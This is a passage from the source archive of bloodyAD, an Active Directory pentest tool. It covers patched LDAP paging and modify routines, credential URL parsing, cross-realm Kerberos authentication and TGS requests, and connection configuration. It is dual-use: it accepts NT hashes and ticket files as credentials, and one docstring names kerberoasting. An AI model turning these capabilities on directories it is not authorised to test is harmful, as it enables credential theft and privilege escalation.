additional controls to be passed in the query :type controls: dict :param tree: Base tree to perform the search on :type tree: str :param search_scope: LDAP search scope :type search_scope: int :param raw: Return the attributes without conversion :type raw: bool :return: Async generator which yields (`dict`, None) tuple on success or (None, `Exception`) on error :rtype: Iterator[(:class:`dict`, :class:`Exception`)] """ logger.debug( "Paged search, filter: %s attributes: %s" % (query, ",".join(attributes)) ) if self._con.status != MSLDAPClientStatus.RUNNING: if self._con.status == MSLDAPClientStatus.ERROR: print("There was an error in the connection!") return if tree is None: tree = self._tree if tree is None: raise Exception("BIND first!") t = [] for x in attributes: t.append(x.encode()) attributes = t t = [] if controls is not None: for control in controls: t.append( Control( { "controlType": control[0].encode(), "criticality": control[1], "controlValue": control[2], } ) ) controls = t async for entry, err in self._con.pagedsearch( tree, query, attributes=attributes, size_limit=self.ldap_query_page_size, controls=controls, rate_limit=self.ldap_query_ratelimit, search_scope=search_scope, raw=raw, ): if err is not None: yield None, err return if entry["objectName"] == "" and entry["attributes"] == "": # searchresref... continue # print('et %s ' % entry) yield entry, None MSLDAPClient.pagedsearch = clientPagedsearch # MODIFICATIONS: # Add the encode arg to be able to pass already encoded value directly async def modify( self, dn: str, changes: Dict[str, object], controls: Dict[str, object] = None, encode=True, ): """ Performs the modify operation. :param dn: The DN of the object whose attributes are to be modified :type dn: str :param changes: Describes the changes to be made on the object. Must be a dictionary of the following format: {'attribute': [('change_type', [value])]} :type changes: dict :param controls: additional controls to be passed in the query :type controls: dict :param encode: encode the changes provided before sending them to the server :type encode: bool :return: A tuple of (True, None) on success or (False, Exception) on error. :rtype: (:class:`bool`, :class:`Exception`) """ if controls is None: controls = [] controls_conv = [] for control in controls: controls_conv.append(Control(control)) return await self._con.modify(dn, changes, controls=controls_conv, encode=encode) MSLDAPClient.modify = modify import asyncio from msldap.protocol.messages import ( LDAPMessage, BindRequest, protocolOp, AuthenticationChoice, SaslCredentials, SearchRequest, AttributeDescription, Filter, Filters, Controls, Control, SearchControlValue, AddRequest, ModifyRequest, DelRequest, ExtendedRequest, ExtendedResponse, ) from msldap.commons.exceptions import ( LDAPBindException, LDAPAddException, LDAPModifyException, LDAPDeleteException, LDAPSearchException, ) from msldap.connection import MSLDAPClientConnection from msldap.protocol.typeconversion import ( MSLDAP_BUILTIN_ATTRIBUTE_TYPES, LDAP_WELL_KNOWN_ATTRS, ) def convert_attributes(x, raw=False): t = {} for e in x: # print(e) k = e["type"].decode() # print('k: %s' % k) if raw: t[k] = e["attributes"] else: if k in MSLDAP_BUILTIN_ATTRIBUTE_TYPES: t[k] = MSLDAP_BUILTIN_ATTRIBUTE_TYPES[k](e["attributes"], False) elif k in LDAP_WELL_KNOWN_ATTRS: t[k] = LDAP_WELL_KNOWN_ATTRS[k](e["attributes"], False) else: logger.debug("Unknown type! %s data: %s" % (k, e["attributes"])) t[k] = e["attributes"] return t def convert_result(x, raw=False): # print(x) # import traceback # traceback.print_stack() return { "objectName": x["objectName"].decode(), "attributes": convert_attributes(x["attributes"], raw), } async def pagedsearch( self, base: str, query: str, attributes: List[str], search_scope: int = 2, size_limit: int = 1000, typesOnly: bool = False, derefAliases: bool = 0, timeLimit: int = None, controls: List[Control] = None, rate_limit: int = 0, raw: bool = False, ): """ Paged search is the same as the search operation and uses it under the hood. Adds automatic control to read all results in a paged manner. :param base: base tree on which the search should be performed :type base: str :param query: filter query that defines what should be searched for :type query: str :param attributes: a list of attributes to be included in the response :type attributes: List[str] :param search_scope: Specifies the search operation's scope. Default: 2 (Subtree) :type search_scope: int :param types_only: indicates whether the entries returned should include attribute types only or both types and values. Default: False (both) :type types_only: bool :param size_limit: Size limit of result elements per query. Default: 1000 :type size_limit: int :param derefAliases: Specifies the behavior on how aliases are dereferenced. Default: 0 (never) :type derefAliases: int :param timeLimit: Maximum time the search should take. If time limit reached the server SHOULD return an error :type timeLimit: int :param controls: additional controls to be passed in the query :type controls: dict :param rate_limit: time to sleep bwetween each query :type rate_limit: float :param raw: Return the attributes without conversion :type raw: bool :return: Async generator which yields (`dict`, None) tuple on success or (None, `Exception`) on error :rtype: Iterator[(:class:`dict`, :class:`Exception`)] """ if self.status != MSLDAPClientStatus.RUNNING: yield None, Exception("Connection not running! Probably encountered an error") return try: cookie = b"" while True: await asyncio.sleep(rate_limit) ctrl_list_temp = [ Control( { "controlType": b"1.2.840.113556.1.4.319", "controlValue": SearchControlValue( {"size": size_limit, "cookie": cookie} ).dump(), } ) ] if controls is not None: ctrl_list_temp.extend(controls) ctrs = Controls(ctrl_list_temp) async for res, err in self.search( base, query, attributes, search_scope=search_scope, size_limit=size_limit, types_only=typesOnly, derefAliases=derefAliases, timeLimit=timeLimit, controls=ctrs, return_done=True, ): if err is not None: yield (None, err) return if "resultCode" in res["protocolOp"]: if res["protocolOp"]["resultCode"] != "success": raise LDAPSearchException( res["protocolOp"]["resultCode"], res["protocolOp"]["diagnosticMessage"], ) try: for control in res["controls"]: if control["controlType"] == b"1.2.840.113556.1.4.319": try: cookie = SearchControlValue.load( control["controlValue"] ).native["cookie"] except Exception as e: raise e break except TypeError: pass # Is it really important that SearchControl is missing? # raise Exception("SearchControl missing from server response!") else: yield (convert_result(res["protocolOp"], raw), None) if cookie == b"": break except Exception as e: yield (None, e) MSLDAPClientConnection.pagedsearch = pagedsearch from msldap.protocol.typeconversion import ( MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC, MSLDAP_BUILTIN_ATTRIBUTE_TYPES, LDAP_WELL_KNOWN_ATTRS, multi_bytes, single_bytes, ) from msldap.protocol.messages import Attribute, Change, PartialAttribute # MODIFICATIONS: # Replacing all single by multi because we doesn't need to ensure only one change has been provided for single attributes, the server will tell it for us. # Handle raw changes values with encode param def encode_changes(x, encode=True): logger.debug("Encode changes: %s" % x) res = [] for k in x: lookup_table = None if k in MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC: lookup_table = MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC elif k in MSLDAP_BUILTIN_ATTRIBUTE_TYPES: lookup_table = MSLDAP_BUILTIN_ATTRIBUTE_TYPES elif k in LDAP_WELL_KNOWN_ATTRS: lookup_table = LDAP_WELL_KNOWN_ATTRS else: raise Exception('Unknown conversion type for key "%s"' % k) for mod, value in x[k]: encoder = lookup_table[k] splitted_name = encoder.__name__.split("_") if isinstance(value, list) and "single" == splitted_name[0]: if len(value) > 1: raise TypeError( f"{k} takes only one value but multiple values have been given." ) value = value[0] if not encode and splitted_name[1] != ["bytes"]: if splitted_name[0] == "single": encoder = single_bytes else: encoder = multi_bytes res.append( Change( { "operation": mod, "modification": PartialAttribute( {"type": k.encode(), "attributes": encoder(value, True)} ), } ) ) # print(lookup_table[k](value, True)) return res # MODIFICATIONS: # Add the encode arg to be able to pass already encoded value directly async def modify( self, entry: str, changes: Dict[str, object], controls: List[Control] = None, encode=True, ): """ Performs the modify operation. :param entry: The DN of the object whose attributes are to be modified :type entry: str :param changes: Describes the changes to be made on the object. Must be a dictionary of the following format: {'attribute': [('change_type', [value])]} :type changes: dict :param controls: additional controls to be passed in the query :type controls: List[class:`Control`] :param encode: encode the changes provided before sending them to the server :type encode: bool :return: A tuple of (True, None) on success or (False, Exception) on error. :rtype: (:class:`bool`, :class:`Exception`) """ try: req = {"object": entry.encode(), "changes": encode_changes(changes, encode)} br = {"modifyRequest": ModifyRequest(req)} msg = {"protocolOp": protocolOp(br)} if controls is not None: msg["controls"] = controls msg_id = await self.send_message(msg) results = await self.recv_message(msg_id) if isinstance(results[0], Exception): return False, results[0] for message in results: msg_type = message["protocolOp"].name message = message.native if msg_type == "modifyResponse": if message["protocolOp"]["resultCode"] != "success": return False, LDAPModifyException( entry, message["protocolOp"]["resultCode"], message["protocolOp"]["diagnosticMessage"], ) return True, None except Exception as e: return False, e MSLDAPClientConnection.modify = modify def encode_attributes(x): """converts a dict to attributelist""" res = [] for k in x: lookup_table = None if k in MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC: lookup_table = MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC elif k in MSLDAP_BUILTIN_ATTRIBUTE_TYPES: lookup_table = MSLDAP_BUILTIN_ATTRIBUTE_TYPES elif k in LDAP_WELL_KNOWN_ATTRS: lookup_table = LDAP_WELL_KNOWN_ATTRS else: raise Exception('Unknown conversion type for key "%s"' % k) res.append( Attribute({"type": k.encode(), "attributes": lookup_table[k](x[k], True)}) ) return res async def add(self, entry: str, attributes: Dict[str, object]): """ Performs the add operation. :param entry: The DN of the object to be added :type entry: str :param attributes: Attributes to be used in the operation :type attributes: dict :return: A tuple of (True, None) on success or (False, Exception) on error. :rtype: (:class:`bool`, :class:`Exception`) """ try: req = {"entry": entry.encode(), "attributes": encode_attributes(attributes)} logger.debug(req) br = {"addRequest": AddRequest(req)} msg = {"protocolOp": protocolOp(br)} msg_id = await self.send_message(msg) results = await self.recv_message(msg_id) if isinstance(results[0], Exception): return False, results[0] for message in results: msg_type = message["protocolOp"].name message = message.native if msg_type == "addResponse": if message["protocolOp"]["resultCode"] != "success": return False, LDAPAddException( entry, message["protocolOp"]["resultCode"], message["protocolOp"]["diagnosticMessage"], ) return True, None except Exception as e: return False, e MSLDAPClientConnection.add = add # MODIFICATIONS: ### Parse url with encoding for special chars ### from asysocks.unicomm.common.target import UniTarget, UniProto from urllib.parse import urlparse from msldap.commons.target import MSLDAPTarget from asysocks.unicomm.utils.paramprocessor import str_one, int_one, bool_one msldaptarget_url_params = { "pagesize": int_one, "rate": int_one, } from urllib import parse def from_url(connection_url): url_e = urlparse(connection_url) url_dict = url_e._asdict() for prop, val in url_dict.items(): if type(val) is str: url_dict[prop] = parse.unquote(val) url_e = url_e._replace(**url_dict) schemes = [] for item in url_e.scheme.upper().split("+"): schemes.append(item.replace("-", "_")) if schemes[0] == "LDAP": protocol = UniProto.CLIENT_TCP port = 389 elif schemes[0] == "LDAPS": protocol = UniProto.CLIENT_SSL_TCP port = 636 elif schemes[0] == "LDAP_SSL": protocol = UniProto.CLIENT_SSL_TCP port = 636 elif schemes[0] == "LDAP_TCP": protocol = UniProto.CLIENT_TCP port = 389 elif schemes[0] == "LDAP_UDP": raise NotImplementedError() protocol = UniProto.CLIENT_UDP port = 389 elif schemes[0] == "GC": protocol = UniProto.CLIENT_TCP port = 3268 elif schemes[0] == "GC_SSL": protocol = UniProto.CLIENT_SSL_TCP port = 3269 else: raise Exception("Unknown protocol! %s" % schemes[0]) if url_e.port: port = url_e.port if port is None: raise Exception("Port must be provided!") path = None if url_e.path not in ["/", "", None]: path = url_e.path unitarget, extraparams = UniTarget.from_url( connection_url, protocol, port, msldaptarget_url_params ) pagesize = extraparams["pagesize"] if extraparams["pagesize"] is not None else 1000 rate = extraparams["rate"] if extraparams["rate"] is not None else 0 target = MSLDAPTarget( unitarget.ip, port=unitarget.port, protocol=unitarget.protocol, tree=path, proxies=unitarget.proxies, timeout=unitarget.timeout, ldap_query_page_size=pagesize, ldap_query_ratelimit=rate, dns=unitarget.dns, dc_ip=unitarget.dc_ip, domain=unitarget.domain, hostname=unitarget.hostname, ssl_ctx=unitarget.ssl_ctx, ) return target MSLDAPTarget.from_url = from_url from urllib.parse import urlparse, parse_qs from asyauth.common.constants import asyauthSecret, asyauthProtocol, asyauthSubProtocol from asyauth.common.subprotocols import SubProtocol, SubProtocolNative from asyauth.common.credentials import UniCredential from urllib import parse def from_url(connection_url): from asysocks.unicomm.common.target import UniTarget, UniProto secret = None username = None domain = None stype = asyauthSecret.NONE protocol = asyauthProtocol.NONE subprotocol = SubProtocolNative() url_e = urlparse(connection_url) url_dict = url_e._asdict() for prop, val in url_dict.items(): if type(val) is str: url_dict[prop] = parse.unquote(val) url_e = url_e._replace(**url_dict) schemes = url_e.scheme.upper().split("+") if len(schemes) == 1: try: protocol = asyauthProtocol(schemes) except: pass else: auth_tags = schemes[1].replace("-", "_") try: protocol = asyauthProtocol(auth_tags) except: auth_tags = schemes[1].split("-") if len(auth_tags) > 1: try: spt = asyauthSubProtocol(auth_tags[0]) except: protocol = asyauthProtocol(auth_tags[0]) stype = asyauthSecret(auth_tags[1]) else: protocol = asyauthProtocol(auth_tags[1]) query = None if url_e.query is not None: query = parse_qs(url_e.query) subprotocol = SubProtocol.from_url_params(spt, query) else: try: spt = asyauthSubProtocol(auth_tags[0]) protocol = asyauthProtocol.NTLM except: protocol = asyauthProtocol(auth_tags[0]) if url_e.username is not None: if url_e.username.find("\\") != -1: domain, username = url_e.username.split("\\") if domain == ".": domain = None else: domain = None username = url_e.username secret = url_e.password credobj = None if protocol == asyauthProtocol.KERBEROS: from asyauth.common.credentials.kerberos import KerberosCredential credobj = KerberosCredential elif protocol in [asyauthProtocol.NTLM, asyauthProtocol.SICILY]: from asyauth.common.credentials.ntlm import NTLMCredential credobj = NTLMCredential extraparams = {} if credobj is not None: extraparams = credobj.get_url_params() paramstemplate = UniCredential.get_url_params() params = dict.fromkeys(UniCredential.get_url_params(), None) extra = dict.fromkeys(extraparams.keys(), None) proxy_present = False if url_e.query is not None: query = parse_qs(url_e.query) for k in query: if k.startswith("proxy") is True: proxy_present = True if k in params: params[k] = paramstemplate[k](query[k]) if k in extraparams: extra[k] = extraparams[k](query[k]) if protocol in [asyauthProtocol.NTLM, asyauthProtocol.SICILY]: res = credobj( secret, username, domain, stype, subprotocol=subprotocol, ) if protocol == asyauthProtocol.SICILY: res.protocol = asyauthProtocol.SICILY return res elif protocol == asyauthProtocol.KERBEROS: proxies = None if proxy_present is True: from asysocks.unicomm.common.proxy import UniProxyTarget proxies = UniProxyTarget.from_url_params( url_e.query, url_e.hostname, endpoint_port=88 ) target = None if extra["dc"] is not None: target = UniTarget( extra["dc"], 88, UniProto.CLIENT_TCP, proxies=proxies, dns=params["dns"], dc_ip=extra["dc"], ) cross_target = None if extra["dcc"] is not None: cross_target = UniTarget( extra["dcc"], 88, UniProto.CLIENT_TCP, proxies=proxies, dns=params["dnsc"], dc_ip=extra["dcc"], ) etypes = extra["etype"] if extra["etype"] is not None else [23, 17, 18] return credobj( secret, username, domain, stype, target=target, altname=extra["altname"], altdomain=extra["altdomain"], certdata=extra["certdata"], keydata=extra["keydata"], etypes=etypes, subprotocol=subprotocol, cross_target=cross_target, cross_realm=extra["realmc"], ) else: return UniCredential(secret, username, domain, stype, protocol, subprotocol) UniCredential.from_url = from_url ## Modifications "Fix crossrealm krb auth with ticket" ## ######################################################### import datetime from asyauth.protocols.kerberos import logger from asyauth.common.winapi.constants import ISC_REQ from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.protocols.kerberos.gssapi import get_gssapi, KRB5_MECH_INDEP_TOKEN from asyauth.protocols.kerberos.gssapismb import get_gssapi as gssapi_smb from minikerberos.common.spn import KerberosSPN from minikerberos.gssapi.gssapi import GSSAPIFlags from minikerberos.protocol.asn1_structs import ( AP_REP, EncAPRepPart, Ticket, EncryptedData, ) from minikerberos.protocol.constants import MESSAGE_TYPE from minikerberos.protocol.ticketutils import construct_apreq_from_ticket from minikerberos.protocol.encryption import Key, _enctype_table from minikerberos.aioclient import AIOKerberosClient async def authenticate( self, authData: bytes, flags: ISC_REQ = None, seq_number: int = 0, cb_data: bytes = None, spn: str = None, ): """ This function is called (multiple times depending on the flags) to perform authentication. """ try: self.flags = self.iscreq_to_gssapiflags(flags) logger.debug("Flags: %s" % self.flags) if spn is None: raise Exception("SPN is needed for kerberos!") else: spn = KerberosSPN.from_spn(spn) logger.debug("SPN: %s" % spn) if self.kc is None: self.kc = AIOKerberosClient(self.ccred, self.credential.target) if self.iterations == 0: self.seq_number = 0 self.iterations += 1 try: # check TGS first, maybe ccache already has what we need for target in self.ccred.ccache.list_targets(): # just printing this to debug... logger.debug("CCACHE SPN record: %s" % target) tgs, encpart, self.session_key, err = self.kc.tgs_from_ccache(spn) if err: raise err logger.debug("Got TGS from CCACHE!") self.from_ccache = True except: # fetching TGT tgt = await self.kc.get_TGT(override_etype=self.credential.etypes) # if the target server is in a different domain, we need to get a referral ticket if self.credential.cross_target is not None: # cross-domain kerberos ref_tgs, ref_encpart, ref_key, new_factory = ( await self.kc.get_referral_ticket( self.credential.cross_realm, self.credential.cross_target.get_ip_or_hostname(), ) ) self.kc = new_factory.get_client() spn.domain = self.credential.cross_realm tgs, encpart, self.session_key = await self.kc.get_TGS( spn ) # , override_etype = self.preferred_etypes) logger.debug("TGS: %s" % tgs) logger.debug("encpart: %s" % encpart) logger.debug("session_key: %s" % self.session_key) ap_opts = [] if ( GSSAPIFlags.GSS_C_MUTUAL_FLAG in self.flags or GSSAPIFlags.GSS_C_DCE_STYLE in self.flags ): if GSSAPIFlags.GSS_C_MUTUAL_FLAG in self.flags: ap_opts.append("mutual-required") if self.from_ccache is False: apreq = self.kc.construct_apreq( tgs, encpart, self.session_key, flags=self.flags, seq_number=self.seq_number, ap_opts=ap_opts, cb_data=cb_data, ) else: apreq = construct_apreq_from_ticket( Ticket(tgs["ticket"]).dump(), self.session_key, tgs["crealm"], tgs["cname"]["name-string"][0], flags=self.flags, seq_number=self.seq_number, ap_opts=ap_opts, cb_data=cb_data, ) logger.debug("APREQ constructed: %s" % apreq) return apreq, True, None else: # not mutual nor dce auth will take one step only if self.from_ccache is False: apreq = self.kc.construct_apreq( tgs, encpart, self.session_key, flags=self.flags, seq_number=self.seq_number, ap_opts=ap_opts, cb_data=cb_data, ) else: apreq = construct_apreq_from_ticket( Ticket(tgs["ticket"]).dump(), self.session_key, tgs["crealm"], tgs["cname"]["name-string"][0], flags=self.flags, seq_number=self.seq_number, ap_opts=ap_opts, cb_data=cb_data, ) logger.debug("APREQ constructed: %s" % apreq) self.gssapi = get_gssapi(self.session_key) return apreq, False, None else: self.seq_number = seq_number logger.debug("Processing AP_REP %s" % authData.hex()) try: temp = KRB5_MECH_INDEP_TOKEN.from_bytes(authData) aprep = AP_REP.load(temp.data[2:]).native except Exception as e: aprep = AP_REP.load(authData).native logger.debug("AP_REP: %s" % aprep) cipher = _enctype_table[int(aprep["enc-part"]["etype"])]() cipher_text = aprep["enc-part"]["cipher"] temp = cipher.decrypt(self.session_key, 12, cipher_text) enc_part = EncAPRepPart.load(temp).native cipher = _enctype_table[int(enc_part["subkey"]["keytype"])]() now = datetime.datetime.now(datetime.timezone.utc) apreppart_data = {} apreppart_data["cusec"] = now.microsecond apreppart_data["ctime"] = now.replace(microsecond=0) apreppart_data["seq-number"] = enc_part["seq-number"] # print('seq %s' % enc_part['seq-number']) # self.seq_number = 0 #enc_part['seq-number'] logger.debug("apreppart_data: %s" % apreppart_data) apreppart_data_enc = cipher.encrypt( self.session_key, 12, EncAPRepPart(apreppart_data).dump(), None ) # overriding current session key self.session_key = Key(cipher.enctype, enc_part["subkey"]["keyvalue"]) logger.debug("SessionKey: %s" % self.session_key) ap_rep = {} ap_rep["pvno"] = 5 ap_rep["msg-type"] = MESSAGE_TYPE.KRB_AP_REP.value ap_rep["enc-part"] = EncryptedData( {"etype": self.session_key.enctype, "cipher": apreppart_data_enc} ) logger.debug("AP_REP: %s" % ap_rep) token = AP_REP(ap_rep).dump() if GSSAPIFlags.GSS_C_DCE_STYLE in self.flags: self.gssapi = gssapi_smb(self.session_key) else: self.gssapi = get_gssapi(self.session_key) self.iterations += 1 return token, True, None except Exception as e: return None, None, e from asyauth.protocols.kerberos.client.native import KerberosClientNative KerberosClientNative.authenticate = authenticate # Modifications "Offer multiple etype for TGS-REQ" # # Fix TGS req domain for crossrealm # #################################################### from typing import List from minikerberos import logger from minikerberos.common.spn import KerberosSPN from minikerberos.protocol.asn1_structs import ( EncryptedData, krb5_pvno, KDC_REQ_BODY, KDCOptions, PrincipalName, EncTGSRepPart, PrincipalName, Realm, Checksum, APOptions, Authenticator, Ticket, AP_REQ, TGS_REQ, AP_REP, ) from minikerberos.protocol.errors import KerberosError from minikerberos.protocol.encryption import Key, _enctype_table from minikerberos.protocol.constants import PaDataType, NAME_TYPE, MESSAGE_TYPE from minikerberos.protocol.structures import AuthenticatorChecksum from minikerberos.gssapi.gssapi import GSSAPIFlags import datetime import secrets async def get_TGS( self, spn_user: KerberosSPN, override_etype=None, is_linux=False, flags=["forwardable", "renewable", "renewable_ok", "canonicalize"], ): """ Requests a TGS ticket for the specified user. Retruns the TGS ticket, end the decrpyted encTGSRepPart. spn_user: KerberosTarget: the service user you want to get TGS for. override_etype: None or list of etype values (int) Used mostly for kerberoasting, will override the AP_REQ supported etype values (which is derived from the TGT) to be able to recieve whatever tgs tiecket """ # first, let's check if CCACHE has the correct ticket already tgs, encTGSRepPart, key, err = self.tgs_from_ccache(spn_user) if err is None: return tgs, encTGSRepPart, key if self.kerberos_TGT is None: # let's check if CCACHE has a TGT for us _, err = self.tgt_from_ccache() if err is not None: raise Exception("No TGT found in CCACHE!") # nope, we need to contact the server logger.debug( "Constructing TGS request for user %s" % spn_user.get_formatted_pname() ) now = datetime.datetime.now(datetime.timezone.utc) kdc_req_body = {} kdc_req_body["kdc-options"] = KDCOptions(set(flags)) kdc_req_body["realm"] = self.kerberos_TGT["ticket"]["sname"]["name-string"][ 1 ] # spn_user.domain.upper() kdc_req_body["sname"] = PrincipalName( { "name-type": NAME_TYPE.SRV_INST.value, "name-string": spn_user.get_principalname(), } ) kdc_req_body["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body["nonce"] = secrets.randbits(31) if override_etype: kdc_req_body["etype"] = override_etype else: if self.kerberos_cipher_type == -128: # we dunno how to do GSS api calls with -128 etype, # but we can request etype 23 here for which all is implemented kdc_req_body["etype"] = [23] else: kdc_req_body["etype"] = [self.kerberos_cipher_type, 23] authenticator_data = {} authenticator_data["authenticator-vno"] = krb5_pvno authenticator_data["crealm"] = Realm(self.kerberos_TGT["crealm"]) authenticator_data["cname"] = self.kerberos_TGT["cname"] authenticator_data["cusec"] = now.microsecond authenticator_data["ctime"] = now.replace(microsecond=0) if is_linux: ac = AuthenticatorChecksum() ac.flags = 0 ac.channel_binding = b"\x00" * 16 chksum = {} chksum["cksumtype"] = 0x8003 chksum["checksum"] = ac.to_bytes() authenticator_data["cksum"] = Checksum(chksum) authenticator_data["seq-number"] = 0 authenticator_data_enc = self.kerberos_cipher.encrypt( self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None ) ap_req = {} ap_req["pvno"] = krb5_pvno ap_req["msg-type"] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req["ap-options"] = APOptions(set()) ap_req["ticket"] = Ticket(self.kerberos_TGT["ticket"]) ap_req["authenticator"] = EncryptedData( {"etype": self.kerberos_cipher_type, "cipher": authenticator_data_enc} ) pa_data_1 = {} pa_data_1["padata-type"] = PaDataType.TGS_REQ.value pa_data_1["padata-value"] = AP_REQ(ap_req).dump() kdc_req = {} kdc_req["pvno"] = krb5_pvno kdc_req["msg-type"] = MESSAGE_TYPE.KRB_TGS_REQ.value kdc_req["padata"] = [pa_data_1] kdc_req["req-body"] = KDC_REQ_BODY(kdc_req_body) req = TGS_REQ(kdc_req) logger.debug("Constructing TGS request to server") rep = await self.ksoc.sendrecv(req.dump()) if rep.name == "KRB_ERROR": raise KerberosError(rep, "get_TGS failed!") logger.debug("Got TGS reply, decrypting...") tgs = rep.native encTGSRepPart = EncTGSRepPart.load( self.kerberos_cipher.decrypt( self.kerberos_session_key, 8, tgs["enc-part"]["cipher"] ) ).native key = Key(encTGSRepPart["key"]["keytype"], encTGSRepPart["key"]["keyvalue"]) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug("Got valid TGS reply") self.kerberos_TGS = tgs return tgs, encTGSRepPart, key from minikerberos.aioclient import AIOKerberosClient AIOKerberosClient.get_TGS = get_TGS # Fix crealm tgt/tgs decoding # ############################### import datetime from typing import List from minikerberos.protocol.asn1_structs import ( Ticket, EncryptedData, krb5_pvno, EncryptionKey, ) from minikerberos.protocol.constants import MESSAGE_TYPE from minikerberos import logger from minikerberos.common.spn import KerberosSPN def to_tgt(self): """ Returns the native format of an AS_REP message and the sessionkey in EncryptionKey native format """ enc_part = EncryptedData({"etype": 1, "cipher": b""}) tgt_rep = {} tgt_rep["pvno"] = krb5_pvno tgt_rep["msg-type"] = MESSAGE_TYPE.KRB_AS_REP.value tgt_rep["crealm"] = self.client.realm.to_string() tgt_rep["cname"] = self.client.to_asn1()[0] tgt_rep["ticket"] = Ticket.load(self.ticket.to_asn1()).native tgt_rep["enc-part"] = enc_part.native t = EncryptionKey(self.key.to_asn1()).native return tgt_rep, t def to_tgs(self): """ Returns the native format of an AS_REP message and the sessionkey in EncryptionKey native format """ enc_part = EncryptedData({"etype": 1, "cipher": b""}) tgt_rep = {} tgt_rep["pvno"] = krb5_pvno tgt_rep["msg-type"] = MESSAGE_TYPE.KRB_AS_REP.value tgt_rep["crealm"] = self.client.realm.to_string() tgt_rep["cname"] = self.client.to_asn1()[0] tgt_rep["ticket"] = Ticket.load(self.ticket.to_asn1()).native tgt_rep["enc-part"] = enc_part.native t = EncryptionKey(self.key.to_asn1()).native return tgt_rep, t from minikerberos.common.ccache import Credential Credential.to_tgt = to_tgt Credential.to_tgs = to_tgs bloodyAD-2.1.7/bloodyAD/network/000077500000000000000000000000001473321043600164075ustar00rootroot00000000000000bloodyAD-2.1.7/bloodyAD/network/config.py000066400000000000000000000134661473321043600202400ustar00rootroot00000000000000import dataclasses from dataclasses import dataclass from bloodyAD.network.ldap import Ldap import os, socket @dataclass class Config: """Class for keeping all connection data for domain""" scheme: str = "ldap" host: str = "" domain: str = "" username: str = "" password: str = "" lmhash: str = "aad3b435b51404eeaad3b435b51404ee" nthash: str = "" kerberos: bool = False certificate: str = "" crt: str = "" key: str = "" format: str = "" dcip: str = "" krb_args: list = None kdc: str = "" kdcc: str = "" realmc: str = "" krbformat: str = "ccache" dns: str = "" def __post_init__(self): # Resolve dc ip if not self.dcip: try: self.dcip = socket.gethostbyname(self.host) except socket.gaierror as e: if e.errno == -5: raise socket.gaierror( "Can't resolve hostname provided in --host" ) from e else: raise # Parse krb args if self.krb_args is not None: self.kerberos = True for arg in self.krb_args: key, value = arg.split("=") if key == "kdc": self.kdc = value elif key == "kdcc": self.kdcc = value elif key == "realmc": self.realmc = value elif key in ["ccache", "kirbi", "keytab", "pem", "pfx"]: self.key = value self.krbformat = key else: raise ValueError(f"{key} is not recognized as arg for --kerberos") if not (self.key or self.password): self.key = os.getenv("KRB5CCNAME") # If we have a kdc provided and user domain is different from dc domain we provide cross realm parameters if self.kdc and self.domain not in self.host: # If cross realm and no kdcc we consider it's the dc if not self.kdcc: self.kdcc = self.dcip # If cross realm and no realmc we consider it's the host suffix if not self.realmc: self.realmc = self.host.split(".", 1)[1] # If kdc hasn't been set we consider the ldap dc provided as kdc if not self.kdc: self.kdc = self.dcip # Handle case where password is hashes if self.password and ":" in self.password: lmhash_maybe, nthash_maybe = self.password.split(":") try: int(nthash_maybe, 16) except ValueError: self.lmhash, self.nthash = None, None else: if len(lmhash_maybe) == 0 and len(nthash_maybe) == 32: self.nthash = nthash_maybe self.password = f"{self.lmhash}:{self.nthash}" elif len(lmhash_maybe) == 32 and len(nthash_maybe) == 32: self.lmhash = lmhash_maybe self.nthash = nthash_maybe self.password = f"{self.lmhash}:{self.nthash}" else: self.lmhash, self.nthash = None, None # Handle case where certificate is provided if ":" in self.certificate: self.key, self.crt = self.certificate.split(":") class ConnectionHandler: _ldap = None def __init__(self, args=None, config=None): if args: scheme = "ldap" if args.gc: scheme = "gc" elif args.secure: scheme = "ldaps" cnf = Config( domain=args.domain, username=args.username, password=args.password, scheme=scheme, host=args.host, krb_args=args.kerberos, certificate=args.certificate, dcip=args.dc_ip, format=args.format, dns=args.dns, ) else: cnf = config self.conf = cnf @property def ldap(self): if not self._ldap: self._ldap = Ldap(self) elif not self._ldap.isactive: self._ldap = Ldap(self) return self._ldap def closeLdap(self): if not self._ldap: return self._ldap.close() self._ldap = None def rebind(self): self._ldap.close() self._ldap = Ldap(self) def switchUser(self, username, password): self.conf.username = username self.conf.password = password self.rebind() # kwargs takes the same arguments as the Config Class def copy(self, **kwargs): # If it's krb creds and the new host hasn't the same REALM as the previous connection we'll have to request a ticket for the new REALM from the previous kdcc if there is one, if not from the previous dc ip possible if ( self.conf.kerberos and kwargs.get("host") and self.conf.domain not in kwargs.get("host") ): kirbi_tgt = self.ldap._con.auth.selected_authentication_context.kc.ccache.get_all_tgt_kirbis()[ 0 ] kwargs["key"] = kirbi_tgt.to_b64() kwargs["krbformat"] = "kirbi" kwargs["format"] = "b64" if self.conf.kdcc: kwargs["kdc"] = self.conf.kdcc else: kwargs["kdc"] = self.conf.dcip # Reset previous conf params kwargs["krb_args"] = [] kwargs["password"] = "" kwargs["kdcc"] = "" kwargs["realmc"] = "" if "dcip" not in kwargs: kwargs["dcip"] = "" newconf = dataclasses.replace(self.conf, **kwargs) return ConnectionHandler(config=newconf) bloodyAD-2.1.7/bloodyAD/network/ldap.py000066400000000000000000001021151473321043600177010ustar00rootroot00000000000000from bloodyAD.formatters import accesscontrol, common from bloodyAD.exceptions import NoResultError, TooManyResultsError, LOG import re, os, enum, asyncio, threading, urllib, collections, ssl from functools import cached_property, lru_cache from asn1crypto import core from dns import resolver, rdatatype from msldap.client import MSLDAPClient from msldap.commons.factory import LDAPConnectionFactory from msldap.wintypes.asn1.sdflagsrequest import SDFlagsRequestValue class Scope(enum.Enum): BASE = 0 LEVEL = 1 SUBTREE = 2 class Change(enum.Enum): ADD = "add" DELETE = "delete" REPLACE = "replace" INCREMENT = "increment" class NCType(enum.IntFlag): PARTIAL_DOM = 1 FULL_DOM = 2 APP = 4 ALL = PARTIAL_DOM | FULL_DOM | APP @lru_cache def phantomRoot(): # [MS-ADTS] 3.1.1.3.4.1.12 # Search control to search in all NC replicas except applications replicas (DNS 